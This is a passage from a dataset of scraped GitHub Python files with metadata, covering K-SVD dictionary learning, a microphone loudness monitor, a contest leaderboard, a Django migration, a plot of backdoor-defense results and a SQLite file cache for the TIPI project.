"curses.curs_set", "line_number": 160, "usage_type": "call"}]}
{"seq_id": "35425238951", "text": "import numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import StratifiedShuffleSplit\nfrom sklearn import linear_model\n\ndef unpack(Dict):\n    W = Dict[:,-38:]\n    Dict_ = Dict[:,:-38]\n    for i in range(Dict_.shape[1]):\n       norm = np.linalg.norm(Dict[:,i]) \n       for j in range(Dict_.shape[0]):\n           Dict_[j.i] = Dict_[j,i] /norm\n       for j in range(W.shape[1]):\n           W[j,i] = W[j,i]/norm\n    return Dict_,W\n \ndef normlization(Dict):\n    for i in range(Dict.shape[0]):\n        norm = np.linalg.norm(Dict[i,:])\n        for j in range(Dict.shape[1]):\n            Dict[i,j] = Dict[i,j]/norm\n\n    return Dict\n\n\ndef dict_update(y, d, x, n_components):\n    \"\"\"\n    使用KSVD更新字典的过程\n    \"\"\"\n    for i in range(n_components):\n        index = np.nonzero(x[i, :])[0]\n        if len(index) == 0:\n            continue\n        # 更新第i列\n        d[:, i] = 0\n        # 计算误差矩阵\n        r = (y - np.dot(d, x))[:, index]\n        # 利用svd的方法，来求解更新字典和稀疏系数矩阵\n        u, s, v = np.linalg.svd(r, full_matrices=False)\n        # 使用左奇异矩阵的第0列更新字典\n        d[:, i] = u[:, 0]\n        # 使用第0个奇异值和右奇异矩阵的第0行的乘积更新稀疏系数矩阵\n        for j,k in enumerate(index):\n            x[i, k] = s[0] * v[0, j]\n    return d, x\n\n\n\ndef date_pre(X,y,r=100):\n    H = np.zeros(shape=(0,38))\n    for i in y:\n        tmp = np.zeros(shape=(1,38))\n        tmp[0,int(i)] = r\n        H = np.vstack((H,tmp))\n    X_train = np.hstack((X,H))\n    return X_train\n\ndef unpack(Dict):\n    W = Dict[:,-38:]\n    Dict_ = Dict[:,:-38]\n    for i in range(Dict_.shape[1]):\n       norm = np.linalg.norm(Dict[:,i]) \n       for j in range(Dict_.shape[0]):\n           Dict_[j.i] = Dict_[j,i] /norm\n       for j in range(W.shape[1]):\n           W[j,i] = W[j,i]/norm\n    return Dict_,W\n\n\"\"\"训练\"\"\"\ndf = pd.read_csv('new.csv',header=None)\ndata = np.array(df)\ny = data[:,-1]\nX = data[:,:-1]\nprint(X.shape)\n\nX_train = date_pre(X,y,r=100)\nX = normlization(X)\n\"\"\"训练和测试集划分\"\"\"\n\nskf = StratifiedShuffleSplit(n_splits=1, test_size=0.6875, random_state=0)\n#  = train_test_split(X, target, test_size=size, random_state=42) #随机取样\nfor train_index, test_index in skf.split(X, y):\n    #print(\"TRAIN:\", train_index, \"TEST:\", test_index)\n    X_train, X_test = X[train_index], X[test_index]\n    y_train, y_test = y[train_index], y[test_index]\n\n\n\n\n\n\n\n\n\n#####主程序\n\n\nu, s, v = np.linalg.svd(X_train.T)\nn_comp = 200\ndictionary = u[:, :n_comp]\n\nmax_iter = 500\ntolerance = 1e-4\nmax_iter = 10\n\nfor i in range(max_iter):\n    # 稀疏编码\n    x = linear_model.orthogonal_mp(dictionary, X_train.T)\n    e = np.linalg.norm(X_train.T - np.dot(dictionary, x))\n    if e < tolerance:\n        break\n    dict_update(X_train.T, dictionary, x, n_comp)\n \nsparsecode = linear_model.orthogonal_mp(dictionary, X_test.T)\n\ndic,w = unpack(dictionary)\n\ntrain_restruct = dic.dot(sparsecode)\n\n", "repo_name": "lqecho/pattern-recognition", "sub_path": "DKSVD_sklearn.py", "file_name": "DKSVD_sklearn.py", "file_ext": "py", "file_size_in_byte": 2979, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.linalg.norm", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 10, "usage_type": "attribute"}, {"api_name": "numpy.linalg.norm", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.nonzero", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.linalg.svd", "line_number": 39, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.vstack", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.hstack", "line_number": 55, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 62, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 71, "usage_type": "call"}, {"api_name": "sklearn.model_selection.StratifiedShuffleSplit", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.linalg.svd", "line_number": 98, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 98, "usage_type": "attribute"}, {"api_name": "sklearn.linear_model.orthogonal_mp", "line_number": 108, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 108, "usage_type": "name"}, {"api_name": "numpy.linalg.norm", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 109, "usage_type": "attribute"}, {"api_name": "numpy.dot", "line_number": 109, "usage_type": "call"}, {"api_name": "sklearn.linear_model.orthogonal_mp", "line_number": 114, "usage_type": "call"}, {"api_name": "sklearn.linear_model", "line_number": 114, "usage_type": "name"}]}
{"seq_id": "32848939865", "text": "'''\r\n.. module:: settings\r\n\r\nConstants and settings for cleaner. Compiled regexes reside here.\r\n\r\n.. moduleauthor:: Christopher Phillippi <c_phillippi@mfe.berkeley.edu>\r\n'''\r\nfrom re import compile\r\nfrom multiprocessing import cpu_count\r\nfrom os.path import join\r\nfrom os.path import expanduser\r\n\r\nMASTER_DIR = join( join( expanduser( '~' ), 'Dropbox' ) , 'AFPdb' )\r\nCLEAN_STORE = join( expanduser( '~' ), \"AFPCorpus\" )  # avoids being saved on dropbox for now\r\nUNCLEAN_STORE = join( MASTER_DIR, \"Unclean\" )\r\nEMPIRICAL_STORE = join( MASTER_DIR, 'Empirical' )\r\n\r\nADJUSTED_CLOSE_FILENAME = 'adjustedClose.csv'\r\n\r\nCLEAN_BATCH_TAG = \"cleaned\"\r\nCLEAN_BATCH_STORE = join( UNCLEAN_STORE, CLEAN_BATCH_TAG )\r\n\r\nMAX_WORKERS = cpu_count()\r\n\r\nLEXISNEXIS_ARTICLE_DELIMITER = \"All Rights Reserved\"\r\nLEXISNEXIS_FILETAG = \"LexisNexis\"\r\nLEXISNEXIS_REGEX_DATE = compile( \"([a-zA-Z]+) ([0-9]+), ([0-9]{4})\" )\r\nLEXISNEXIS_REGEX_EXCLUDE_FROM_TITLE = compile( \"[:;,'!.\\\\n]\" )\r\nLEXISNEXIS_REGEX_PAPER_DATE_TITLE = compile( \"[\\\\n ]*[0-9]+ of [0-9]+ DOCUMENTS[\\\\n ]*([\\\\w'& ]+)[^\\\\n]*[\\\\n ]*([a-zA-Z]+ [0-9]+, [0-9]{4}) [:\\\\w ]*\\\\n(?:[^\\\\n]+\\\\n)*\\\\n([\\\\w:;,!.'\\\\-\\\\n ]{1,30})\" )\r\nLEXISNEXIS_REMOVE_FROM_ARTICLE = compile( \"[^\\\\n]\\\\n[^\\\\n]\" )\r\nLEXISNEXIS_SECTION_DELIMTER = \"\\n\\n\\n\"\r\n", "repo_name": "ccphillippi/AFP", "sub_path": "afp/cleaner/settings.py", "file_name": "settings.py", "file_ext": "py", "file_size_in_byte": 1258, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.expanduser", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 21, "usage_type": "call"}, {"api_name": "multiprocessing.cpu_count", "line_number": 23, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 27, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 28, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 29, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "18934678060", "text": "import pyaudio\nimport struct\nimport math\nimport RPi.GPIO as GPIO\nimport time\nimport statistics\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(22,GPIO.OUT)\nGPIO.setup(19,GPIO.OUT)\nFORMAT = pyaudio.paInt16\nSHORT_NORMALIZE = (1.0/32768.0)\nCHANNELS = 1 #2\nRATE = 48000#44100\nINPUT_BLOCK_TIME = 0.05\nINPUT_FRAMES_PER_BLOCK = int(RATE*INPUT_BLOCK_TIME)\n\ndef get_rms( block ):\n    # RMS amplitude is defined as the square root of the\n    # mean over time of the square of the amplitude.\n    # so we need to convert this string of bytes into\n    # a string of 16-bit samples...\n\n    # we will get one short out for each\n    # two chars in the string.\n    count = len(block)/2\n    format = \"%dh\"%(count)\n    shorts = struct.unpack( format, block )\n\n    # iterate over the block.\n    sum_squares = 0.0\n    for sample in shorts:\n        # sample is a signed short in +/- 32768.\n        # normalize it to 1.0\n        n = sample * SHORT_NORMALIZE\n        sum_squares += n*n\n\n    return math.sqrt( sum_squares / count )\n\nclass ClarityRating(object):\n    def __init__(self, limit):\n        self.pa = pyaudio.PyAudio()\n        self.stream = self.open_mic_stream()\n        self.threshold = limit   #above this means too quiet\n        self.recentDB = []\n        self.thresholdSize = 60 #100 = 5 seconds\n        self.errorcount = 0\n\n\n    def stop(self):\n        self.stream.close()\n\n    def find_input_device(self):\n        device_index = None\n        for i in range( self.pa.get_device_count() ):\n            devinfo = self.pa.get_device_info_by_index(i)\n            print( \"Device %d: %s\"%(i,devinfo[\"name\"]) )\n\n            for keyword in [\"mic\",\"input\",\"dsnooped\"]:\n                if keyword in devinfo[\"name\"].lower():\n                    print( \"Found an input: device %d - %s\"%(i,devinfo[\"name\"]) )\n                    device_index = i\n                    return device_index\n\n        if device_index == None:\n            print( \"No preferred input found; using default input device.\" )\n\n        return device_index\n\n    def open_mic_stream( self ):\n        device_index = self.find_input_device()\n\n        stream = self.pa.open(   format = FORMAT,\n                                 channels = CHANNELS,\n                                 rate = RATE,\n                                 input = True,\n                                 input_device_index = device_index,\n                                 frames_per_buffer = INPUT_FRAMES_PER_BLOCK)\n\n        return stream\n\n    def updateList(self, value):\n        if (len(self.recentDB) == self.thresholdSize):\n            del self.recentDB[-1]\n            self.recentDB.insert(0,value)\n        # TODO:     ELIF PROF CORRECTS THEMSELF, CLEAR ARRAY !\n        else:\n            self.recentDB.insert(0,value)\n\n    def status(self):\n        if (statistics.mean(CR.recentDB) > self.threshold):\n            print(\"TOO QUIET!\") #Update LEDs here\n            GPIO.output(19,True)\n            GPIO.output(22,False)\n            \n        else:\n            print(\"good boy\")\n            GPIO.output(22,True)\n            GPIO.output (19,False)\n\n    def listen(self):\n        try:\n            block = self.stream.read(INPUT_FRAMES_PER_BLOCK)\n        except IOError as e:\n            self.errorcount += 1\n            print( \"(%d) Error recording: %s\"%(self.errorcount,e) )\n            return\n\n        amplitude = get_rms( block )\n\n        dB = abs(20 * math.log(amplitude, 10))\n\n        self.updateList(dB)\n\n\ndef run(threshold):\n    CR = ClarityRating(threshold)\n\n    while True:\n        CR.listen()\n        CR.status()\n        time.sleep(0.05)      # 20 Hz????\n\n    #print(CR.recentDB)\n    #print(statistics.mean(CR.recentDB))\n", "repo_name": "jramirez857/Classio", "sub_path": "dashboard/micInput.py", "file_name": "micInput.py", "file_ext": "py", "file_size_in_byte": 3631, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "RPi.GPIO.setmode", "line_number": 8, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 8, "usage_type": "name"}, {"api_name": "RPi.GPIO.BCM", "line_number": 8, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 9, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 9, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 9, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 10, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 10, "usage_type": "name"}, {"api_name": "RPi.GPIO.OUT", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pyaudio.paInt16", "line_number": 11, "usage_type": "attribute"}, {"api_name": "struct.unpack", "line_number": 28, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 38, "usage_type": "call"}, {"api_name": "pyaudio.PyAudio", "line_number": 42, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 91, "usage_type": "call"}, {"api_name": "RPi.GPIO.output", "line_number": 93, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 93, "usage_type": "name"}, {"api_name": "RPi.GPIO.output", "line_number": 94, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 94, "usage_type": "name"}, {"api_name": "RPi.GPIO.output", "line_number": 98, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 98, "usage_type": "name"}, {"api_name": "RPi.GPIO.output", "line_number": 99, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 99, "usage_type": "name"}, {"api_name": "math.log", "line_number": 111, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 122, "usage_type": "call"}]}
{"seq_id": "17501053326", "text": "from functools import cmp_to_key\nfrom datetime import timedelta\n\ndef compare(a, b):\n    if a['total_score'] > b['total_score']:\n        return -1\n    elif a['total_score'] < b['total_score']:\n        return 1\n    else:\n        if a['total_seconds'] > b['total_seconds']:\n            return 1\n        elif a['total_seconds'] < b['total_seconds']:\n            return -1\n        else:\n            return 0\n\ndef add_rank_prop(data):\n    index, item = data\n    item['rank'] = index + 1\n    return item\n\ndef get_contest_leaderboard(contest):\n    leaderboard = []\n\n    for user in contest.participants.all():\n        # Only CONTEST front-end submissions\n        subs = user.submission_frontendsubmissions.filter(\n            frontendcontestsubmission__contest=contest,\n            frontendcontestsubmission__is_final=True\n        )\n\n        total_score, total_seconds, sub_count = 0, 0, 0\n        for sub in subs:\n            sub_count += 1\n            total_score += sub.judge_score\n            total_seconds += sub.frontendcontestsubmission.contest_start_timedelta().total_seconds()\n        \n        if sub_count: total_seconds /= sub_count\n        \n        total_time = str(timedelta(seconds=round(total_seconds)))\n        \n        final_subs = []\n        for problem in contest.problems.all():\n            appended = False\n            for sub in subs:\n                if sub.problem == problem:\n                    final_subs.append(sub)\n                    appended = True\n                    break\n            if not appended:\n                final_subs.append(None)\n        \n        leaderboard.append({\n            'user': user,\n            'final_subs': final_subs,\n            'total_score': total_score,\n            'total_seconds': total_seconds,\n            'total_time': total_time,\n        })\n    \n    leaderboard.sort(key=cmp_to_key(compare))\n    # Add rank property (To fix paginated leaderboard)\n    leaderboard = list(map(add_rank_prop, enumerate(leaderboard)))\n    return leaderboard", "repo_name": "sajadhsm/codavar", "sub_path": "apps/contest/utils/leaderboard.py", "file_name": "leaderboard.py", "file_ext": "py", "file_size_in_byte": 1996, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.timedelta", "line_number": 40, "usage_type": "call"}, {"api_name": "functools.cmp_to_key", "line_number": 61, "usage_type": "call"}]}
{"seq_id": "22213414171", "text": "# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('rssgenerator', '0004_auto_20170827_1703'),\n    ]\n\n    operations = [\n        migrations.AddField(\n            model_name='links',\n            name='fromUploadedFile',\n            field=models.BooleanField(default=False, editable=False),\n        ),\n        migrations.AlterField(\n            model_name='links',\n            name='link',\n            field=models.URLField(max_length=1024, null=True, blank=True),\n        ),\n    ]\n", "repo_name": "toony/django-rssgenerator", "sub_path": "rssgenerator/migrations/0005_links_fromuploadedfile.py", "file_name": "0005_links_fromuploadedfile.py", "file_ext": "py", "file_size_in_byte": 607, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.db.migrations.Migration", "line_number": 7, "usage_type": "attribute"}, {"api_name": "django.db.migrations", "line_number": 7, "usage_type": "name"}, {"api_name": "django.db.migrations.AddField", "line_number": 14, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 14, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 17, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 17, "usage_type": "name"}, {"api_name": "django.db.migrations.AlterField", "line_number": 19, "usage_type": "call"}, {"api_name": "django.db.migrations", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.URLField", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 22, "usage_type": "name"}]}
{"seq_id": "10692480490", "text": "from matplotlib import offsetbox\n\ndef plot_annotationbox(ax, X, X0, h, w):\n    shown_images = np.array([[1., 1.]])  # just something big\n    for i in range(X.shape[0]):\n        dist = np.sum((X[i] - shown_images) ** 2, 1)\n        if np.min(dist) < 3e-4:\n            # don't show points that are too close\n            continue\n        shown_images = np.r_[shown_images, [X[i]]]\n        imagebox = offsetbox.AnnotationBbox(\n            offsetbox.OffsetImage(X0[i].reshape(3,h,w).transpose(1,2,0),\n                                    zoom=5),\n            X[i], frameon=False)\n        ax.add_artist(imagebox)\n\ndef plot_embedding(sample, embedding, ax=None):\n    X0, X = sample, embedding\n#     x_min, x_max = np.min(X, 0), np.max(X, 0)\n#     X = (X - x_min) / (x_max - x_min)\n\n    if ax == None:\n        plt.figure(figsize=(5,4))\n        ax = plt.subplot(111)\n        plot_annotationbox(ax, X, X0, h=3, w=3)\n#         plt.xticks([]), plt.yticks([])\n    else:\n        plot_annotationbox(ax, X, X0, h=3, w=3)\n        \nimport pickle\n\na=[]\nb=[]\ncount=1\nfor i in range(10):\n    a = a + [torch.tensor(np.load('random_trigger'+str(i)+'.npy')).view(-1).repeat(1, 1).float().numpy()]\n    b = b + [(count,-0.05)]\n    count = count + 1\n\ntrigger_target = [51, 90, 96, 79, 8, 50, 19, 7, 7, 91]\n\nresult_rounds = []\ntotal = 10\nfor round in range(total):\n    with open('results_rand_round_'+ str(round) +'.pickle', 'rb') as file:\n        result_rounds = result_rounds + [pickle.load(file)]\n        \n\nwith open('results_0.9_rand.pickle', 'rb') as file:\n    results_90 = pickle.load(file)\nwith open('results_0.8_rand.pickle', 'rb') as file:\n    results_80 = pickle.load(file)\nwith open('results_0.5_rand.pickle', 'rb') as file:\n    results_50 = pickle.load(file)\ndis_90 = []\ndis_80 = []\ndis_50 = []\nbaseline0=[]\nbaseline1=[]\nbaseline2=[]\nbaseline3=[]\nbaseline4=[]\nbaseline5=[]\nbaseline6=[]\nbaseline7=[]\nbaseline8=[]\nbaseline9=[]\n\nfor i in range(10):\n    dis_90 = dis_90 + [results_90[i][0]['Test ASR'][-1]]\n    dis_80 = dis_80 + [results_80[i][0]['Test ASR'][-1]]\n    dis_50 = dis_50 + [results_50[i][0]['Test ASR'][-1]]\n    baseline0 += [result_rounds[0][i][0]['Test ASR'][-1]]\n    baseline1 += [result_rounds[1][i][0]['Test ASR'][-1]]\n    baseline2 += [result_rounds[2][i][0]['Test ASR'][-1]]\n    baseline3 += [result_rounds[3][i][0]['Test ASR'][-1]]\n    baseline4 += [result_rounds[4][i][0]['Test ASR'][-1]]\n    baseline5 += [result_rounds[5][i][0]['Test ASR'][-1]]\n    baseline6 += [result_rounds[6][i][0]['Test ASR'][-1]]\n    baseline7 += [result_rounds[7][i][0]['Test ASR'][-1]]\n    baseline8 += [result_rounds[8][i][0]['Test ASR'][-1]]\n    baseline9 += [result_rounds[9][i][0]['Test ASR'][-1]]\nbaseline = np.array([baseline0, baseline1, baseline2, baseline3, baseline4, baseline5, baseline6, baseline7, baseline8, baseline9])\nave = np.mean(baseline,axis=0)\nstd = np.std(baseline,axis=0)\nbaseline_ranking_index = np.argsort(ave).astype(int)\na = np.array(a)[baseline_ranking_index] \nplot_embedding(a,np.array(b))\n\nplt.plot(range(1,11), np.array(dis_90)[baseline_ranking_index], label='distribution 0.9', marker='o', c='red', alpha=.5)\nplt.plot(range(1,11), np.array(dis_80)[baseline_ranking_index], label='distribution 0.8', marker='o', c='green', alpha=.5)\nplt.plot(range(1,11), np.array(dis_50)[baseline_ranking_index], label='distribution 0.5', marker='o', c='navy', alpha=.5)\nplt.plot(range(1,11), ave[baseline_ranking_index], label = 'baseline', marker='o',c='gray', alpha=.5)\n\nplt.plot(range(1,11), ave[baseline_ranking_index]+std[baseline_ranking_index], ls='--', c='gray')\nplt.plot(range(1,11), ave[baseline_ranking_index]-std[baseline_ranking_index], ls='--', c='gray')\n# for i in range(10):\n#     plt.scatter(5,baseline4[i])\nplt.fill_between(range(1,11), ave[baseline_ranking_index]-std[baseline_ranking_index], ave[baseline_ranking_index]+std[baseline_ranking_index], color = 'gray', alpha = .1)\n# plt.plot(range(1,11), round1, label='one-point 2', marker = 'o', c='black', alpha=.5)\nplt.legend(fontsize=14, frameon=False)\nplt.xticks(range(1,11),fontsize=14)\nplt.yticks([-0.1,0,0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9],fontsize=14)\nplt.xlabel('10 random patterns on Cifar100' , fontsize=14)\nplt.ylabel('ASR after defense', fontsize=14)\n\nplot_embedding(a,np.array(b)+0.06-0.0099)\nplt.plot(range(1,11), np.array(dis_90)[baseline_ranking_index], label='distribution 0.9', marker='o', c='red', alpha=.5)\nplt.plot(range(1,11), np.array(dis_80)[baseline_ranking_index], label='distribution 0.8', marker='o', c='green', alpha=.5)\nplt.plot(range(1,11), np.array(dis_50)[baseline_ranking_index], label='distribution 0.5', marker='o', c='navy', alpha=.5)\nplt.legend(fontsize=14, frameon=False)\nplt.xticks(range(1,11),fontsize=14)\nplt.yticks(fontsize=14)\nplt.xlabel('10 random patterns on Cifar100' , fontsize=14)\nplt.ylabel('ASR after defense', fontsize=14)\n", "repo_name": "superrrpotato/Defending-Neural-Backdoors-via-Generative-Distribution-Modeling", "sub_path": "plot_reference.py", "file_name": "plot_reference.py", "file_ext": "py", "file_size_in_byte": 4838, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31, "dataset": "github-code", "pt": "81", "api": [{"api_name": "matplotlib.offsetbox.AnnotationBbox", "line_number": 11, "usage_type": "call"}, {"api_name": "matplotlib.offsetbox", "line_number": 11, "usage_type": "name"}, {"api_name": "matplotlib.offsetbox.OffsetImage", "line_number": 12, "usage_type": "call"}, {"api_name": "matplotlib.offsetbox", "line_number": 12, "usage_type": "name"}, {"api_name": "pickle.load", "line_number": 46, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 50, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 52, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 54, "usage_type": "call"}]}
{"seq_id": "73123807611", "text": "import os\nimport logging\nimport sqlite3\nimport ConfigLogging\nfrom flask import g\nfrom ti_files import ti_files\nfrom tinames import tinames\nfrom TipiConfig import TipiConfig\n\n#\n# DOA-ish methods for cache of tipi_disk file meta-data. \n#\n\nlogger = logging.getLogger(__name__)\ntipi_disk = '/home/tipi/tipi_disk'\n\nglobal_conn = None\ndb_name = '/home/tipi/.tipiweb.db'\n\ntipi_config = TipiConfig.instance()\n\ndef get_context_conn():\n    \"\"\"\n    Flask needs a database connection per request context, and that\n    is registered to close in route.py\n    \"\"\"\n    db = getattr(g, '_database', None)\n    if db is None:\n        db = g._database = sqlite3.connect(db_name)\n    return db\n\ndef get_mon_conn():\n    \"\"\"\n    If not under the flask process, such as TipiMonitor.py, we can\n    act in a single-threaded model, and use a global connection\n    \"\"\"\n    global global_conn\n    if not global_conn:\n        global_conn = sqlite3.connect(db_name)\n    return global_conn\n\ndef get_conn():\n    try:\n        return get_context_conn()\n    except RuntimeError:\n        return get_mon_conn()\n\ndef setupSchema():\n    logger.info(\"Checking for schema\")\n    sql = get_conn().cursor()\n    sql.execute('CREATE TABLE IF NOT EXISTS fileheader (name TEXT PRIMARY KEY, icon TEXT, type TEXT, tiname TEXT, size INTEGER, protected INTEGER)')\n    get_conn().commit()\n    sql.close()\n\ndef deleteAll():\n    logger.info(\"clearing tipi_disk meta-data\")\n    setupSchema()\n    sql = get_conn().cursor()\n    sql.execute('DELETE FROM fileheader')\n    get_conn().commit()\n    sql.execute('VACUUM')\n    get_conn().commit()\n    sql.close()\n    logger.debug(\"previous meta-data deleted.\")\n\ndef addAll():\n    for root, subdirs, files in os.walk(tipi_disk):\n        for filename in files:\n            name = os.path.join(root, filename)\n            updateFileInfo(name)\n\ndef deleteMissing():\n    cachedFiles = []\n    logger.debug(\"finding all cached files\")\n    sql = get_conn().cursor()\n    for row in sql.execute('SELECT name FROM fileheader'):\n        cachedFiles.append(row[0])\n    \n    get_conn().commit()\n    sql.close()\n\n    for name in cachedFiles:\n        if not os.path.exists(os.path.join(tipi_disk, name)):\n            deleteFileInfo(name)\n\ndef deleteFileInfo(name):\n    logger.info(\"Deleting cache for %s\", name)\n    sql = get_conn().cursor()\n    try: \n        sql = get_conn().cursor()\n        sqlargs = (name,)\n        sql.execute('DELETE FROM fileheader WHERE name == ?', sqlargs)\n        get_conn().commit()\n    except Exception as e:\n        logger.error(\"failed to delete %s\", name)\n    finally:\n        sql.close()\n        \n\ndef lookupFileInfo(name):\n    sql = get_conn().cursor()\n    sqlargs = (name,)\n    sql.execute('SELECT * FROM fileheader WHERE name == ?', sqlargs)\n    fileInfo = sql.fetchone()\n    sql.close()\n    if fileInfo == None:\n        fileInfo = updateFileInfo(name)\n    if fileInfo[1] == \"native\":\n        tmpFileInfo = list(fileInfo)\n        tmpFileInfo[2] = \"DIS/VAR 80\" if isInNativeTextDir(name) else \"DIS/FIX 128\"\n        fileInfo = tuple(tmpFileInfo)\n    return rowToMap(fileInfo)\n\ndef rowToMap(fileInfo):\n    # fileInfo is currently a positional 'tuple' which sucks... so let's make a\n    # map\n    return { \"name\": fileInfo[0],\n             \"icon\": fileInfo[1],\n             \"type\": fileInfo[2],\n             \"tiname\": fileInfo[3],\n             \"size\": fileInfo[4],\n             \"protected\": fileInfo[5]\n    }\n\ndef updateFileInfo(name):\n    if os.path.isdir(name):\n        return\n    sqlargs = _getFileInfo(name)\n    sql = get_conn().cursor()\n    try:\n        sql.execute('REPLACE INTO fileheader VALUES (?, ?, ?, ?, ?, ?)', sqlargs)\n        get_conn().commit()\n    except Exception as e:\n        logger.error(\"could not update info for %s\", name)\n    finally:\n        sql.close()\n    return sqlargs\n\ndef searchFileInfo(criteria):\n    sql = get_conn().cursor()\n    sqlargs = {\n        'g': f\"*{criteria['globpat']}*\"\n    }\n    sqlstatement = 'SELECT * FROM fileheader WHERE (tiname GLOB :g'\n\n    if criteria['matchpaths']:\n        sqlargs['m'] = f\"*{criteria['globpat'].replace('.', '/')}*\"\n        sqlstatement += ' OR name GLOB :m'\n    sqlstatement += ')'\n\n    types = []\n    if criteria['type_program']:\n        types.append('\"PROGRAM\"')\n    if criteria['type_dv80']:\n        types.append('\"DIS/VAR 80\"')\n    if criteria['type_df80']:\n        types.append('\"DIS/FIX 80\"')\n    if criteria['type_df128']:\n        types.append('\"DIS/FIX 128\"')\n    if types:\n        sqlstatement += f\" AND type IN ({','.join(types)})\"\n\n    logger.info(\"sql: %s\", sqlstatement)\n\n    sql.execute(sqlstatement, sqlargs)\n    allrows = sql.fetchall()\n    files = []\n    for row in allrows:\n        files.append(rowToMap(row))\n    return sorted(files, key=lambda i:(\"/\".join(i[\"name\"].split(\"/\")[:-1]), i[\"tiname\"]))\n\ndef _getFileInfo(name):\n    dv80suffixes = (\".txt\", \".a99\", \".b99\", \".bas\", \".xb\", \".tb\")\n    basicSuffixes = (\".b99\", \".bas\", \".xb\", \".tb\")\n        \n    header = None\n    \n    with open(name,\"rb\") as fdata:\n        header = bytearray(fdata.read())[:128]\n\n    valid = ti_files.isValid(header)\n\n    isprotected = 0\n    icon = \"native\"\n    type = \"DIS/FIX 128\"\n    tiname = tinames.asTiShortName(name)\n    size = os.stat(name).st_size\n\n    if valid:\n        type = ti_files.flagsToString(header) \n        if type != 'PROGRAM':\n            type = type + \" \" + str(ti_files.recordLength(header))\n        isprotected = ti_files.isProtected(header)\n        icon = 'tifile'\n    elif name.lower().endswith(dv80suffixes):\n        type = \"DIS/VAR 80\"\n        if name.lower().endswith(basicSuffixes):\n            icon = 'basic'\n\n    if type == 'PROGRAM' and ti_files.isTiBasicPrg(name):\n        icon = 'basic'\n    if type == 'INT/VAR 254' and ti_files.isTiBasicPrg(name):\n        icon = 'basic'\n\n    return (name, icon, type, tiname, size, isprotected)\n\ndef isInNativeTextDir(target_path):\n    if not os.path.isfile(target_path):\n        target_path += '/'\n    # check if any of text_dirs is a prefix of target_path\n    native_text_dirs = [f\"TIPI.{a.strip()}\" for a in tipi_config.get(\"NATIVE_TEXT_DIRS\").split(',') if a]\n    if native_text_dirs and len(native_text_dirs):\n        text_dirs = [tinames.devnameToLocal(dir) for dir in native_text_dirs]\n        if True in [(f\"{td}/\" in target_path) for td in text_dirs]:\n            return True\n    return False\n    \nif __name__ == '__main__':\n    deleteAll()\n    addAll()\n\n", "repo_name": "jedimatt42/tipi", "sub_path": "htdocs/tipi_cache.py", 